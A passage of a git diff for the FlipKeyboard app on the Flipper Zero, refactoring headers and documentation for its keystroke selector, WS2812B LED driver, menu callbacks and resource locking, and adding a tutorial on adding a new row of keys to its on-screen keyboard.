starting column of the key. + uint8_t col; + + // The row of the key. + uint8_t row; + + // The width of the key. + uint8_t width; +}; /** * @brief Allocates a new keystroke selector. diff --git a/applications/external/flipkeyboard/common/keystroke_selector.h b/applications/external/flipkeyboard/common/keystroke_selector.h index 6c4d83c3049..fc5d9cecd62 100644 --- a/applications/external/flipkeyboard/common/keystroke_selector.h +++ b/applications/external/flipkeyboard/common/keystroke_selector.h @@ -1,5 +1,3 @@ -#pragma once - /** * @file keystroke_selector.h * @brief A view that allows the user to select a keystroke. @@ -8,17 +6,23 @@ * the OK button. The view will call a callback when a key is selected. */ +#pragma once + #include -#include "button_model.h" + +#include "action_model.h" typedef struct KeystrokeSelector KeystrokeSelector; typedef struct KeystrokeSelectorKey KeystrokeSelectorKey; +/** + * @brief We expose our internals here, so an app_keyboard_layout.h file can be created. +*/ struct KeystrokeSelectorKey { // The code that should be sent to the host. uint16_t code; - // The character that should be displayed on the key. + // The character that should be displayed on the key (set icon to NULL). char ch; // The icon that should be displayed on the key (set ch to 0). diff --git a/applications/external/flipkeyboard/common/keystroke_selector_i.h b/applications/external/flipkeyboard/common/keystroke_selector_i.h index 9e23e7fb70d..521f91fec5b 100644 --- a/applications/external/flipkeyboard/common/keystroke_selector_i.h +++ b/applications/external/flipkeyboard/common/keystroke_selector_i.h @@ -5,59 +5,29 @@ #include #include -#include "button_model.h" +#include "action_model.h" #include "keystroke_selector.h" +#define KEYSTROKE_SELECTOR_DEFAULT_TOP_ROW 2 +#define KEYSTROKE_SELECTOR_DISPLAYED_ROWS 5 +#define KEYSTROKE_SELECTOR_DISPLAYED_WIDTH 10 +#define KEYSTROKE_SELECTOR_DISPLAYED_HEIGHT 13 +#define KEYSTROKE_SELECTOR_GLYPH_HEIGHT_OFFSET 10 +#define KEYSTROKE_SELECTOR_IMAGE_HEIGHT_OFFSET 1 +#define KEYSTROKE_SELECTOR_COLS 12 + struct KeystrokeSelector { View* view_keystroke_selector; - ButtonModel* bm; + ActionModel* action_model; }; -typedef struct KeystrokeSelectorModel { - // The total number of rows. - uint8_t rows; - - // The total number of columns. - uint8_t cols; - - // An array of all the keys. - KeystrokeSelectorKey* keys; - - // The current row to show at the top of the view. - uint8_t top_row; - - // The current column where the cursor is. - uint8_t current_col; - - // The current row where the cursor is. - uint8_t current_row; - - // Any modifiers that should be sent with the keystroke (CTRL, SHIFT, etc.) - uint16_t modifiers; - - // The callback to call when a key is selected. - KeystrokeSelectorCallback callback; - - // The context to pass to the callback. - void* callback_context; -} KeystrokeSelectorModel; - -typedef struct KeystrokeSelectorKeyResult { - // The code that should be sent to the host. - uint16_t code; - - // The character that should be displayed on the key. - char ch; +typedef struct KeystrokeSelectorModel KeystrokeSelectorModel; - // The icon that should be displayed on the key (set ch to 0). - const Icon* icon; +typedef struct KeystrokeSelectorKeyResult KeystrokeSelectorKeyResult; - // The starting column of the key. - uint8_t col; +static KeystrokeSelectorKeyResult + keystroke_selector_model_find_key(KeystrokeSelectorModel* model, uint16_t key_code); - // The row of the key. - uint8_t row; +static void keystroke_selector_draw_callback(Canvas* canvas, void* context); - // The width of the key. - uint8_t width; -} KeystrokeSelectorKeyResult; +static bool keystroke_selector_input_callback(InputEvent* event, void* context); diff --git a/applications/external/flipkeyboard/common/led_driver.c b/applications/external/flipkeyboard/common/led_driver.c index 37f1e436ade..4716599d03c 100644 --- a/applications/external/flipkeyboard/common/led_driver.c +++ b/applications/external/flipkeyboard/common/led_driver.c @@ -1,23 +1,4 @@ -#include - -#include "led_driver.h" - -#define MAX_LED_COUNT 4 -// We store the HIGH/LOW durations (2 values) for each color bit (24 bits per LED) -#define LED_DRIVER_BUFFER_SIZE (MAX_LED_COUNT * 2 * 24) -// We use a setinel value to figure out when the timer is complete. -#define LED_DRIVER_TIMER_SETINEL 0xFFU - -/** 64 transitions per us @ 64MHz. Our timing is in NANO_SECONDS */ -#define LED_DRIVER_TIMER_NANOSECOND (1000U / (SystemCoreClock / 1000000U)) -// Timings for WS2812B -#define LED_DRIVER_T0H 400U -#define LED_DRIVER_T1H 800U -#define LED_DRIVER_T0L 850U -#define LED_DRIVER_T1L 450U - -// Wait for 35ms for the DMA to complete. NOTE: 1000 leds*(850ns+450ns)*24 = 32ms -#define LED_DRIVER_SETINEL_WAIT_MS 35 +#include "led_driver_i.h" struct LedDriver { LL_DMA_InitTypeDef dma_gpio_update; @@ -34,6 +15,11 @@ struct LedDriver { uint32_t* led_data; }; +/** + * @brief Initializes the DMA for GPIO pin toggle via BSRR. + * @param led_driver The led driver to initialize. + * @param gpio The GPIO pin to toggle. + */ static void led_driver_init_dma_gpio_update(LedDriver* led_driver, const GpioPin* gpio) { led_driver->gpio = gpio; @@ -55,6 +41,10 @@ static void led_driver_init_dma_gpio_update(LedDriver* led_driver, const GpioPin led_driver->dma_gpio_update.Priority = LL_DMA_PRIORITY_VERYHIGH; } +/** + * @brief Initializes the DMA for the LED timings via ARR. + * @param led_driver The led driver to initialize. + */ static void led_driver_init_dma_led_transition_timer(LedDriver* led_driver) { // Timer that triggers based on user data. led_driver->dma_led_transition_timer.Direction = LL_DMA_DIRECTION_MEMORY_TO_PERIPH; @@ -75,6 +65,11 @@ static void led_driver_init_dma_led_transition_timer(LedDriver* led_driver) { led_driver->dma_led_transition_timer.Priority = LL_DMA_PRIORITY_HIGH; } +/** + * @brief Allocate and initialize LedDriver structure. + * @details This function allocate and initialize LedDriver structure. + * @return Pointer to allocated LedDriver structure. + */ LedDriver* led_driver_alloc(int count_leds, const GpioPin* gpio) { furi_assert(gpio); furi_assert(count_leds && count_leds <= MAX_LED_COUNT); @@ -89,6 +84,11 @@ LedDriver* led_driver_alloc(int count_leds, const GpioPin* gpio) { return led_driver; } +/** + * @brief Frees a led driver. + * @details Frees a led driver. + * @param led_driver The led driver to free. + */ void led_driver_free(LedDriver* led_driver) { furi_assert(led_driver); @@ -96,6 +96,14 @@ void led_driver_free(LedDriver* led_driver) { free(led_driver); } +/** + * @brief Sets the LED at the given index to the given color. + * @note You must still call led_driver_transmit to actually update the LEDs. + * @param led_driver The led driver to use. + * @param index The index of the LED to set. + * @param rrggbb The color to set the LED to (0xrrggbb format). + * @return The previous color of the LED (0xrrggbb format). + */ uint32_t led_driver_set_led(LedDriver* led_driver, uint32_t index, uint32_t rrggbb) { furi_assert(led_driver); if(index >= led_driver->count_leds) { @@ -107,6 +115,12 @@ uint32_t led_driver_set_led(LedDriver* led_driver, uint32_t index, uint32_t rrgg return previous; } +/** + * @brief Gets the LED at the given index. + * @param led_driver The led driver to use. + * @param index The index of the LED to get. + * @return The color of the LED (0xrrggbb format). + */ uint32_t led_driver_get_led(LedDriver* led_driver, uint32_t index) { furi_assert(led_driver); if(index >= led_driver->count_leds) { @@ -116,6 +130,10 @@ uint32_t led_driver_get_led(LedDriver* led_driver, uint32_t index) { return led_driver->led_data[index]; } +/** + * @brief Initializes the DMA for GPIO pin toggle and led transititions. + * @param led_driver The led driver to initialize. + */ static void led_driver_start_dma(LedDriver* led_driver) { furi_assert(led_driver); @@ -126,6 +144,21 @@ static void led_driver_start_dma(LedDriver* led_driver) { LL_DMA_EnableChannel(DMA1, LL_DMA_CHANNEL_2); } +/** + * @brief Stops the DMA for GPIO pin toggle and led transititions. + * @param led_driver The led driver to initialize. + */ +static void led_driver_stop_dma() { + LL_DMA_DisableChannel(DMA1, LL_DMA_CHANNEL_1); + LL_DMA_DisableChannel(DMA1, LL_DMA_CHANNEL_2); + LL_DMA_ClearFlag_TC1(DMA1); + LL_DMA_ClearFlag_TC2(DMA1); +} + +/** + * @brief Starts the timer for led transitions. + * @param led_driver The led driver to initialize. + */ static void led_driver_start_timer() { furi_hal_bus_enable(FuriHalBusTIM2); @@ -142,6 +175,10 @@ static void led_driver_start_timer() { LL_TIM_GenerateEvent_UPDATE(TIM2); } +/** + * @brief Stops the timer for led transitions. + * @param led_driver The led driver to initialize. + */ static void led_driver_stop_timer() { LL_TIM_DisableCounter(TIM2); LL_TIM_DisableUpdateEvent(TIM2); @@ -149,13 +186,10 @@ static void led_driver_stop_timer() { furi_hal_bus_disable(FuriHalBusTIM2); } -static void led_driver_stop_dma() { - LL_DMA_DisableChannel(DMA1, LL_DMA_CHANNEL_1); - LL_DMA_DisableChannel(DMA1, LL_DMA_CHANNEL_2); - LL_DMA_ClearFlag_TC1(DMA1); - LL_DMA_ClearFlag_TC2(DMA1); -} - +/** + * @brief Waits for the DMA to complete. + * @param led_driver The led driver to use. + */ static void led_driver_spin_lock(LedDriver* led_driver) { const uint32_t prev_timer = DWT->CYCCNT; const uint32_t wait_time = LED_DRIVER_SETINEL_WAIT_MS * SystemCoreClock / 1000; @@ -166,10 +200,14 @@ static void led_driver_spin_lock(LedDriver* led_driver) { break; } - // 0xFF is fairly quick, make sure we didn't miss it. + // We should have seen it above, but just in case we also have a timeout. if((DWT->CYCCNT - prev_timer > wait_time)) { - FURI_LOG_D( - "Demo", "0xFF not found (ARR 0x%08lx, read %lu)", TIM2->ARR, led_driver->read_pos); + FURI_LOG_E( + TAG, + "0x%02x not found (ARR 0x%08lx, read %lu)", + LED_DRIVER_TIMER_SETINEL, + TIM2->ARR, + led_driver->read_pos); led_driver->read_pos = led_driver->write_pos - 1; break; } @@ -187,7 +225,7 @@ static void led_driver_add_period(LedDriver* led_driver, uint16_t duration_ns) { uint32_t reload_value = duration_ns / LED_DRIVER_TIMER_NANOSECOND; if(reload_value > 255) { - FURI_LOG_E("Demo", "reload_value: %ld", reload_value); + FURI_LOG_E(TAG, "reload_value: %ld", reload_value); } furi_check(reload_value > 0); furi_check(reload_value < 256); @@ -211,6 +249,10 @@ static void led_driver_add_color(LedDriver* led_driver, uint32_t rrggbb) { } } +/** + * @brief Send the LED data to the LEDs. + * @param led_driver The led driver to use. + */ void led_driver_transmit(LedDriver* led_driver) { furi_assert(led_driver); @@ -251,58 +293,3 @@ void led_driver_transmit(LedDriver* led_driver) { led_driver->read_pos = 0; led_driver->write_pos = 0; } - -/* -int32_t main_led_test(void* _p) { - UNUSED(_p); - - uint16_t num_leds = MAX_LED_COUNT; - LedDriver* led_driver = led_driver_alloc(num_leds, &gpio_ext_pc3); - - uint32_t* data[80]; - for(int i = 0; i < 80; i++) { - data[i] = malloc(16 * 16 * sizeof(uint32_t)); - } - - for(int j = 0; j < num_leds; j++) { - uint8_t red = rand() % 2; - uint8_t green = rand() % 4; - uint8_t blue = rand() % 4; - data[0][j] = red << 16 | green << 8 | blue; - } - data[0][0] = 0x000F00; - - for(int i = 1; i < 80; i++) { - for(int j = 1; j < num_leds; j++) { - uint8_t red = rand() % 2; - uint8_t green = rand() % 4; - uint8_t blue = rand() % 4; - data[i][j] = red << 16 | green << 8 | blue; - data[i][j] = data[i - 1][j - 1]; - } - data[i][0] = data[i - 1][num_leds - 1]; - // for(int j = 0; j < num_leds; j++) { - // if(data[i - 1][j] == 0x000F00) { - // data[i][j] = 0x000F00; - // } - // } - data[i][rand() % num_leds] = 0x000F00; - } - - int counter = 0; - while(true) { - uint32_t i = counter++ % 80; - for(int j = 0; j < num_leds; j++) { - led_driver_set_led(led_driver, j, data[i][j]); - } - led_driver_transmit(led_driver); - furi_delay_ms(20); - } - - for(int i = 0; i < 80; i++) { - free(data[i]); - } - - return 0; -} -*/ \ No newline at end of file diff --git a/applications/external/flipkeyboard/common/led_driver.h b/applications/external/flipkeyboard/common/led_driver.h index a2c1a768b53..40052162170 100644 --- a/applications/external/flipkeyboard/common/led_driver.h +++ b/applications/external/flipkeyboard/common/led_driver.h @@ -3,8 +3,40 @@ typedef struct LedDriver LedDriver; +/** + * @brief Allocate and initialize LedDriver structure. + * @details This function allocate and initialize LedDriver structure. + * @return Pointer to allocated LedDriver structure. + */ LedDriver* led_driver_alloc(int count_leds, const GpioPin* gpio); + +/** + * @brief Frees a led driver. + * @details Frees a led driver. + * @param led_driver The led driver to free. + */ void led_driver_free(LedDriver* led_driver); + +/** + * @brief Sets the LED at the given index to the given color. + * @note You must still call led_driver_transmit to actually update the LEDs. + * @param led_driver The led driver to use. + * @param index The index of the LED to set. + * @param rrggbb The color to set the LED to. + * @return The previous color of the LED. + */ uint32_t led_driver_set_led(LedDriver* led_driver, uint32_t index, uint32_t rrggbb); + +/** + * @brief Gets the LED at the given index. + * @param led_driver The led driver to use. + * @param index The index of the LED to get. + * @return The color of the LED (0xrrggbb format). + */ uint32_t led_driver_get_led(LedDriver* led_driver, uint32_t index); + +/** + * @brief Send the LED data to the LEDs. + * @param led_driver The led driver to use. + */ void led_driver_transmit(LedDriver* led_driver); diff --git a/applications/external/flipkeyboard/common/led_driver_i.h b/applications/external/flipkeyboard/common/led_driver_i.h new file mode 100644 index 00000000000..4566ac2cb3d --- /dev/null +++ b/applications/external/flipkeyboard/common/led_driver_i.h @@ -0,0 +1,26 @@ +#pragma once + +#include + +#include "led_driver.h" +#include "../app_config.h" + +#define MAX_LED_COUNT 4 + +// We store the HIGH/LOW durations (2 values) for each color bit (24 bits per LED) +#define LED_DRIVER_BUFFER_SIZE (MAX_LED_COUNT * 2 * 24) + +// We use a setinel value to figure out when the timer is complete. +#define LED_DRIVER_TIMER_SETINEL 0xFFU + +/** 64 transitions per us @ 64MHz. Our timing is in NANO_SECONDS */ +#define LED_DRIVER_TIMER_NANOSECOND (1000U / (SystemCoreClock / 1000000U)) + +// Timings for WS2812B +#define LED_DRIVER_T0H 400U +#define LED_DRIVER_T1H 800U +#define LED_DRIVER_T0L 850U +#define LED_DRIVER_T1L 450U + +// Max wait for the DMA to complete. NOTE: 4000 leds*(850ns+450ns)*24 = 124.8ms + 50ms blanking = 174.8ms +#define LED_DRIVER_SETINEL_WAIT_MS 200 \ No newline at end of file diff --git a/applications/external/flipkeyboard/common/leds.c b/applications/external/flipkeyboard/common/leds.c index 84a73fbc414..234ca3e788d 100644 --- a/applications/external/flipkeyboard/common/leds.c +++ b/applications/external/flipkeyboard/common/leds.c @@ -1,15 +1,5 @@ #include "leds_i.h" -#include "../app_config.h" - -// Bit-banging the WS2812b LEDs is a bit tricky. The timing is very strict. -// Hopefully, we will update to a better solution in the future. -#define DWT_CYCCNT (0xE0001004UL) -typedef struct { - volatile uint32_t COUNT; /*!< E0001000 + Offset: 0x004 (R/W) Cycle Count Register */ -} DWT_Internal; -#define DWT_ACCESS ((DWT_Internal*)DWT_CYCCNT) - /** * @brief Allocates a FlipboardLeds struct. * @details This method allocates a FlipboardLeds struct. This is used to @@ -19,15 +9,19 @@ typedef struct { */ FlipboardLeds* flipboard_leds_alloc(Resources* resources) { FlipboardLeds* leds = malloc(sizeof(FlipboardLeds)); + #ifdef USE_LED_DRIVER - FURI_LOG_D(TAG, "Using LED driver"); leds->resources = resources; leds->led_driver = led_driver_alloc(LED_COUNT, pin_ws2812_leds); #else - FURI_LOG_D(TAG, "Using Bit-bang LEDs"); + // If our bit-bang code is interrupted, the LED colors could become 0xFFFFFF and drain too much current? + FURI_LOG_E(TAG, "WARNING: Using Bit-bang LEDs. Colors may be wrong. Only use for a few LEDs!"); + furi_assert( + LED_COUNT < 16, "Bit-bang LEDs only supports up to 16 LEDs for MAX CURRENT safety."); furi_hal_gpio_init_simple(pin_ws2812_leds, GpioModeOutputPushPull); leds->led_driver = NULL; #endif + furi_hal_gpio_init_simple(pin_status_led, GpioModeOutputPushPull); flipboard_leds_reset(leds); return leds; diff --git a/applications/external/flipkeyboard/common/leds.h b/applications/external/flipkeyboard/common/leds.h index 12f3554c1e3..8ba0290b453 100644 --- a/applications/external/flipkeyboard/common/leds.h +++ b/applications/external/flipkeyboard/common/leds.h @@ -1,5 +1,3 @@ -#pragma once - /** * @file leds.h * @brief This file contains methods to control the LEDs on the flipboard. @@ -7,7 +5,10 @@ * and also the status LED. */ +#pragma once + #include + #include "resources.h" typedef struct FlipboardLeds FlipboardLeds; diff --git a/applications/external/flipkeyboard/common/leds_i.h b/applications/external/flipkeyboard/common/leds_i.h index a27af0d0bd7..803f41db8e8 100644 --- a/applications/external/flipkeyboard/common/leds_i.h +++ b/applications/external/flipkeyboard/common/leds_i.h @@ -1,21 +1,32 @@ #pragma once #include -#include -#include -#include #include "leds.h" #include "led_driver.h" -// The WS2812b LEDs that are connected to PC3. +#include "../app_config.h" + +// The number of WS2812b LEDs connected to the FlipBoard. #define LED_COUNT 4 + +// The pin that is connected to the WS2812 LEDs. +const GpioPin* const pin_ws2812_leds = &gpio_ext_pc3; + +// The status LED that is connected to PA7. +const GpioPin* const pin_status_led = &gpio_ext_pa7; + struct FlipboardLeds { Resources* resources; uint32_t color[LED_COUNT]; LedDriver* led_driver; }; -const GpioPin* const pin_ws2812_leds = &gpio_ext_pc3; -// The status LED that is connected to PA7. -const GpioPin* const pin_status_led = &gpio_ext_pa7; +// Bit-banging the WS2812b LEDs isn't great. If we could get interrupted signal will be wrong (wrong LED colors). +typedef struct { + volatile uint32_t COUNT; +} DWT_Internal; + +// Cycle Count Register is at DWT Base Address (E0001000) + 0x004 (R/W) +#define DWT_CYCCNT (0xE0001004UL) +#define DWT_ACCESS ((DWT_Internal*)DWT_CYCCNT) diff --git a/applications/external/flipkeyboard/common/menu_callback.c b/applications/external/flipkeyboard/common/menu_callback.c index 846823860e0..dc87047e90d 100644 --- a/applications/external/flipkeyboard/common/menu_callback.c +++ b/applications/external/flipkeyboard/common/menu_callback.c @@ -1,69 +1,160 @@ #include "menu_callback.h" -static uint32_t menu_0(void* context) { - UNUSED(context); +/** + * @brief Callback for menu navigation + * @param _context Unused parameter. + * @return returns index 0. +*/ +static uint32_t menu_0(void* _context) { + UNUSED(_context); return (uint32_t)0; } -static uint32_t menu_1(void* context) { - UNUSED(context); + +/** + * @brief Callback for menu navigation + * @param _context Unused parameter. + * @return returns index 1. +*/ +static uint32_t menu_1(void* _context) { + UNUSED(_context); return (uint32_t)1; } -static uint32_t menu_2(void* context) { - UNUSED(context); + +/** + * @brief Callback for menu navigation + * @param _context Unused parameter. + * @return returns index 2. +*/ +static uint32_t menu_2(void* _context) { + UNUSED(_context); return (uint32_t)2; } -static uint32_t menu_3(void* context) { - UNUSED(context); + +/** + * @brief Callback for menu navigation + * @param _context Unused parameter. + * @return returns index 3. +*/ +static uint32_t menu_3(void* _context) { + UNUSED(_context); return (uint32_t)3; } -static uint32_t menu_4(void* context) { - UNUSED(context); + +/** + * @brief Callback for menu navigation + * @param _context Unused parameter. + * @return returns index 4. +*/ +static uint32_t menu_4(void* _context) { + UNUSED(_context); return (uint32_t)4; } -static uint32_t menu_5(void* context) { - UNUSED(context); + +/** + * @brief Callback for menu navigation + * @param _context Unused parameter. + * @return returns index 5. +*/ +static uint32_t menu_5(void* _context) { + UNUSED(_context); return (uint32_t)5; } -static uint32_t menu_6(void* context) { - UNUSED(context); + +/** + * @brief Callback for menu navigation + * @param _context Unused parameter. + * @return returns index 6. +*/ +static uint32_t menu_6(void* _context) { + UNUSED(_context); return (uint32_t)6; } -static uint32_t menu_7(void* context) { - UNUSED(context); + +/** + * @brief Callback for menu navigation + * @param _context Unused parameter. + * @return returns index 7. +*/ +static uint32_t menu_7(void* _context) { + UNUSED(_context); return (uint32_t)7; } -static uint32_t menu_8(void* context) { - UNUSED(context); + +/** + * @brief Callback for menu navigation + * @param _context Unused parameter. + * @return returns index 8. +*/ +static uint32_t menu_8(void* _context) { + UNUSED(_context); return (uint32_t)8; } -static uint32_t menu_9(void* context) { - UNUSED(context); + +/** + * @brief Callback for menu navigation + * @param _context Unused parameter. + * @return returns index 9. +*/ +static uint32_t menu_9(void* _context) { + UNUSED(_context); return (uint32_t)9; } -static uint32_t menu_10(void* context) { - UNUSED(context); + +/** + * @brief Callback for menu navigation + * @param _context Unused parameter. + * @return returns index 10. +*/ +static uint32_t menu_10(void* _context) { + UNUSED(_context); return (uint32_t)10; } -static uint32_t menu_11(void* context) { - UNUSED(context); + +/** + * @brief Callback for menu navigation + * @param _context Unused parameter. + * @return returns index 11. +*/ +static uint32_t menu_11(void* _context) { + UNUSED(_context); return (uint32_t)11; } -static uint32_t menu_12(void* context) { - UNUSED(context); + +/** + * @brief Callback for menu navigation + * @param _context Unused parameter. + * @return returns index 12. +*/ +static uint32_t menu_12(void* _context) { + UNUSED(_context); return (uint32_t)12; } -static uint32_t menu_13(void* context) { - UNUSED(context); + +/** + * @brief Callback for menu navigation + * @param _context Unused parameter. + * @return returns index 13. +*/ +static uint32_t menu_13(void* _context) { + UNUSED(_context); return (uint32_t)13; } -static uint32_t menu_14(void* context) { - UNUSED(context); + +/** + * @brief Callback for menu navigation + * @param _context Unused parameter. + * @return returns index 14. +*/ +static uint32_t menu_14(void* _context) { + UNUSED(_context); return (uint32_t)14; } /** * @brief Callback for menu navigation - * @param return_index The value the callback should return. + * @note if return_index is out of range, it will return a callback that + * returns 0. + * @param return_index The value the callback should return (1-14). * @return The callback to be used for menu navigation. */ ViewNavigationCallback get_menu_callback(uint32_t return_index) { @@ -98,6 +189,7 @@ ViewNavigationCallback get_menu_callback(uint32_t return_index) { return menu_14; default: FURI_LOG_E("Flipboard", "Invalid menu index %ld", return_index); + furi_assert(return_index < 15); return menu_0; } } \ No newline at end of file diff --git a/applications/external/flipkeyboard/common/menu_callback.h b/applications/external/flipkeyboard/common/menu_callback.h index 95c537d3fb0..b35c954a093 100644 --- a/applications/external/flipkeyboard/common/menu_callback.h +++ b/applications/external/flipkeyboard/common/menu_callback.h @@ -1,21 +1,21 @@ -#pragma once - /** * @file menu_callback.h * @brief This file contains a method to get a ViewNavigationCallback * that returns a specific view id. * @details The menu callback module is used to return a specific view id - * from ViewNavigationCallback. The id is matched by a large switch so it - * can only handle a limited number of values (if to large of id is requested, - * the 0 view will be returned). + * from ViewNavigationCallback. */ +#pragma once + #include #include /** * @brief Callback for menu navigation - * @param return_index The value the callback should return. + * @note if return_index is out of range, it will return a callback that + * returns 0. + * @param return_index The value the callback should return (1-14). * @return The callback to be used for menu navigation. */ ViewNavigationCallback get_menu_callback(uint32_t return_index); \ No newline at end of file diff --git a/applications/external/flipkeyboard/common/resources.c b/applications/external/flipkeyboard/common/resources.c index e1e44ce5ece..f5dd16794d1 100644 --- a/applications/external/flipkeyboard/common/resources.c +++ b/applications/external/flipkeyboard/common/resources.c @@ -1,5 +1,4 @@ -#include -#include "resources.h" +#include "resources_i.h" struct Resources { FuriMutex* ll_tim1; @@ -20,12 +19,16 @@ Resources* resources_alloc() { * @details This method acquires a resource. If the resource is already acquired, * this method will block until the resource is released. * @param resources The resources struct to use for hardware access. + * @param id The resource to acquire. + * @param timeout The timeout in milliseconds to wait for the resource to be released. + * @return True if the resource was acquired, false if there was an error. */ bool resources_acquire(Resources* resources, ResourceId id, uint32_t timeout) { UNUSED(id); if(!resources) { return false; } + return furi_mutex_acquire(resources->ll_tim1, timeout) == FuriStatusOk; } @@ -33,12 +36,15 @@ bool resources_acquire(Resources* resources, ResourceId id, uint32_t timeout) { * @brief Releases a resource. * @details This method releases a resource. * @param resources The resources struct to use for hardware access. + * @param id The resource to release. + * @return True if the resource was released, false if there was an error. */ bool resources_release(Resources* resources, ResourceId id) { UNUSED(id); if(!resources) { return false; } + return furi_mutex_release(resources->ll_tim1) == FuriStatusOk; } diff --git a/applications/external/flipkeyboard/common/resources.h b/applications/external/flipkeyboard/common/resources.h index ab67c2395f4..3f1f097a123 100644 --- a/applications/external/flipkeyboard/common/resources.h +++ b/applications/external/flipkeyboard/common/resources.h @@ -1,3 +1,9 @@ +/** + * @file resources.h + * @brief Resources are used to request access to hardware components. If another code is + * using the hardware, the calls will wait for the resource to become free. +*/ + #pragma once #include @@ -20,7 +26,10 @@ Resources* resources_alloc(); * @brief Acquires a resource. * @details This method acquires a resource. If the resource is already acquired, * this method will block until the resource is released. + * @param id The resource to acquire. + * @param timeout The timeout in milliseconds to wait for the resource to be released. * @param resources The resources struct to use for hardware access. + * @return True if the resource was acquired, false if there was an error. */ bool resources_acquire(Resources* resources, ResourceId id, uint32_t timeout); @@ -28,6 +37,8 @@ bool resources_acquire(Resources* resources, ResourceId id, uint32_t timeout); * @brief Releases a resource. * @details This method releases a resource. * @param resources The resources struct to use for hardware access. + * @param id The resource to release. + * @return True if the resource was released, false if there was an error. */ bool resources_release(Resources* resources, ResourceId id); diff --git a/applications/external/flipkeyboard/common/resources_i.h b/applications/external/flipkeyboard/common/resources_i.h new file mode 100644 index 00000000000..2d280e31a72 --- /dev/null +++ b/applications/external/flipkeyboard/common/resources_i.h @@ -0,0 +1,5 @@ +#pragma once + +#include + +#include "resources.h" \ No newline at end of file diff --git a/applications/external/flipkeyboard/common/speaker.c b/applications/external/flipkeyboard/common/speaker.c index 3e33bbf6234..871dd0dabbc 100644 --- a/applications/external/flipkeyboard/common/speaker.c +++ b/applications/external/flipkeyboard/common/speaker.c @@ -1,6 +1,18 @@ #include "speaker_i.h" -static int32_t speaker_worker(void* context); +struct Speaker { + // The thread that runs the speaker worker + FuriThread* thread; + + // True is the thread is running + bool is_running; + + // Frequency of the tone to play (in Hz) + float frequency; + + // Volume of the tone to play (0.0 - 1.0) + float volume; +}; /** * @brief Allocates a new speaker. diff --git a/applications/external/flipkeyboard/common/speaker_i.h b/applications/external/flipkeyboard/common/speaker_i.h index 198c761776b..aaf3ae2b990 100644 --- a/applications/external/flipkeyboard/common/speaker_i.h +++ b/applications/external/flipkeyboard/common/speaker_i.h @@ -1,19 +1,8 @@ #pragma once -#include "speaker.h" #include #include -struct Speaker { - // The thread that runs the speaker worker - FuriThread* thread; - - // True is the thread is running - bool is_running; - - // Frequency of the tone to play (in Hz) - float frequency; +#include "speaker.h" - // Volume of the tone to play (0.0 - 1.0) - float volume; -}; \ No newline at end of file +static int32_t speaker_worker(void* context); diff --git a/applications/external/flipkeyboard/common/subghz_signal.h b/applications/external/flipkeyboard/common/subghz_signal.h index 46166b992e2..0c3de045e7f 100644 --- a/applications/external/flipkeyboard/common/subghz_signal.h +++ b/applications/external/flipkeyboard/common/subghz_signal.h @@ -1,6 +1,17 @@ +/** + * @file subghz_signal.h + * @brief This file contains the subghz_signal module. + * @details This file contains the subghz_signal module. The subghz_signal module is + * responsible for sending SubGhz signals (both RAW and Protocol .SUB files). + * + * If your build environment supports #include then please add: + * #define FIRMWARE_SUPPORTS_SUBGHZ 1 +*/ + #pragma once #include + #include "resources.h" typedef struct SubGhzSignal SubGhzSignal; diff --git a/applications/external/flipkeyboard/tutorials/add-keystroke-row.md b/applications/external/flipkeyboard/tutorials/add-keystroke-row.md new file mode 100644 index 00000000000..3c1dfa7a72a --- /dev/null +++ b/applications/external/flipkeyboard/tutorials/add-keystroke-row.md @@ -0,0 +1,86 @@ +# Tutorial: Adding a new row of buttons to the Keystrokes keyboard + +BEFORE: + +![message-keyboard](./keystrokes-keyboard.png) + +AFTER (added new row of buttons -- `Mute`, `VolDn`, `VolUp`, `NumLk`): + +![new-row-keystrokes-keyboard](./new-row-keystrokes-keyboard.png) + +## Overview + +The FlipKeyboard configuration supports two methods for sending keystrokes to the computer. The first method is to use the "Message" option. The second method is to use the "Add Keystroke" option. The "Add Keystroke" option allows you to send a sequence of keystrokes to the computer. In the configuration setting for an action, you can use `Left` and `Right` buttons on the Flipper Zero to scroll thru all of the available keystrokes when a `Keystroke` is selected, or you can press the `Ok` button to see a custom keyboard. The custom keyboard only has a subset of the available `Keystrokes`. This tutorial will show you how to add a new row if keys to the custom keyboard. + +## Step 1: Decide where you want to add the new row of keys + +For this tutorial, we will be adding the new row of keys just below the row with the space bar. + +## Step 2: Decide which keys you want to add (Up to 12 keys per row) + +A row of keys must be 12 slots wide. A key can occupy multiple adjacent slots. The icons are 5x10 for single slot, 15x10 for 2-wide slot and 25x10 for a 3-wide slot. + +For this tutorial we will do 4 keys, each 3 wide: +- Mute (HID_KEYBOARD_MUTE), mute_25x10.png +- VolDown (HID_KEYBOARD_VOLUME_DOWN), vol_down_25x10.png +- VolUp (HID_KEYBOARD_VOLUME_UP), vol_up_25x10.png +- NumLock (HID_KEYBOARD_LOCK_NUM_LOCK), num_lock_25x10.png + +NOTE: The values we choose must be listed in the `keystroke_values[]` array in the `flipkeyboard\common\config_keystroke.h` file. The `config_keystroke.h` file contains the list of all of the keystrokes that are displayed using the `VariableItemList` when the selecting with the left/right arrow keys. The `VariableItemList` module from `#include ` has a limit of around 255 items (which are all being used) so if you want to add a new value in `keystroke_values[]` you also need to remove a value. Be sure that `keystroke_names[]` lists the items in the same order as `keystroke_values[]`. + +## Step 3: Create the icon files (if not using a character) + +The icon file is a black and white PNG file. Since we are using 3-key wide, our image should be 25x10 pixels. The PNG images are stored in `flipkeyboard/assets` and will be converted later into code. I typically copy an existing file of the proper dimensions (like sysreq_25x10.png) and then rename it to `mute_25x10.png`. You can use any image editor to edit the icon file, but a handy VS Code extension is called `Luna Paint - Image Editor` which allows you to edit the image from within VS Code. + +## Step 4: Run the icons process + +I typically recommend opening `flipkeyboard\app.c` then pressing `Ctrl+Shift+B` and selecting `[Debug] Build App`. This will end up running the ICONS program, which will convert all of the PNGs into a `flipboard_keyboard_icons.h` and `flipboard_keyboard_icons.c` file in the build output folder. At this point, a new variable `I_mute_25x10`, `I_vol_down_25x10`, `I_vol_up_25x10`, `I_num_lock_25x10` will be available for use (The `I_` is because the PNG was converted into an `Icon` object). + +## Step 5: Add the new row in keys[] (app_keyboard_layout.h) + +Open `flipkeyboard\app_keyboard_layout.h` and scroll down until you find the row you are adding. Make sure you add 12 entries in `keys[]`. + +First we will find the row with `{.code = HID_KEYBOARD_SPACEBAR, .ch = ' ', .icon = NULL},` in it. The row's 12th entry should be ``{.code = HID_KEYBOARD_GRAVE_ACCENT, .ch = '`', .icon = NULL},`` + +Add a new set of 12 entries... +```c + {.code = HID_KEYBOARD_MUTE, .ch = 0, .icon = 